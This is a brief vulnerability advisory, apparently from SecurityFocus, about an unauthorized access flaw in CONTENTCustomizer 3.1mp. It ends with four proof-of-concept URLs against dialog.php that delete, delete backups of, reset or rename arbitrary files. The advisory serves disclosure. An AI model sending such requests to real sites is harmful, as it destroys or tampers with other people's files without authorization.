source: http://www.securityfocus.com/bid/26437/info

CONTENTCustomizer is prone to an unauthorized access vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker could exploit this issue to delete arbitrary files, rename files, or reset the content of certain files.

CONTENTCustomizer 3.1mp is vulnerable; other versions may also be affected.

http://www.example.com/dialog.php?action=del&doc='+pagename // Delete
http://www.example.com/dialog.php?action=delbackup&doc='+pagename // Delete Backup
http://www.example.com/dialog.php?action=res&doc='+pagename // Reset
http://www.example.com/dialog.php?action=ren&doc='+pagename // Rename 